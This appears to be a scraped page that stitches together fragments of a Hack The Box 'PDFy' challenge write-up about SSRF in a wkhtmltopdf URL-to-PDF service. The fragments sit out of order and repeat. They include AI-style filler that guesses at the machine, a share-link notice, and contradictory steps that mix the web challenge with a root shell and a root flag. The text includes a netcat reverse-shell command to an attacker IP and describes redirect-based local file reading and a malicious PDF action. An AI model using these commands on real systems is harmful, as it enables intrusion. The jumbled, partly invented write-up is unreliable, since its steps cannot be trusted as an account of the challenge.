Official PDFy Discussion - Page 2 - Challenges - Hack The Box
Nothing interesting, but the /uploads directory stores converted PNGs.
The exploitation phase involves using the information gathered during enumeration to gain access to the system.
Here’s a for a Hack The Box write‑up on the machine PDFY (assuming it’s a typical HTB machine involving PDF parsing, file uploads, or command injection via PDF metadata).
The target application is a simple web service that takes a URL and generates a PDF preview of it. Server-Side Request Forgery (SSRF). Primary Tool: wkhtmltopdf (v0.12.5 or older). pdfy htb writeup upd
Alternatively, get a root shell:
# Establish a reverse shell os.system('nc 10.10.14.12 4444 -e /bin/bash')
Always validate and sanitize user-provided URLs. Blacklisting "localhost" or "file://" is rarely sufficient, as redirects can often bypass these filters.
[ HTB Target Server ] ---> Requests ---> [ Attacker VPS Web Server ] | Executes Redirect | [ HTB Target Server ] <--- Follows File URI <-------+ (Reads Internal Files) Official PDFy Discussion - Page 2 - Challenges
cat /root/root.txt
challenge on Hack The Box (HTB) is an easy-rated web challenge that focuses on identifying and exploiting a Server-Side Request Forgery (SSRF) vulnerability in a web-to-PDF conversion service. Challenge Summary Vulnerability: Server-Side Request Forgery (SSRF). Target Component: wkhtmltopdf (a command-line tool used to render HTML into PDF).
This public link is valid for 7 days and shares a thread, including any personal information you added. This link or copies made by others cannot be deleted. If you share with third parties, their policies apply. Can’t copy the link right now. Try again later.
If the remote target is behaving unexpectedly, try running wkhtmltopdf locally with various inputs to understand how it handles redirects and local file protocols. The target application is a simple web service
Before diving into automated tools, a manual interaction is crucial. Here’s the initial thought process and the observations that set the stage for the entire engagement:
Upload a PDF with a malicious GoToR (remote goto) action pointing to http://127.0.0.1:5000/internal .
The wkhtmltopdf utility processes redirects, allowing a malicious server to redirect the tool to local system paths. Step 1: Create the Exploit Payload
If the engine parses custom HTML, an attacker might typically inject: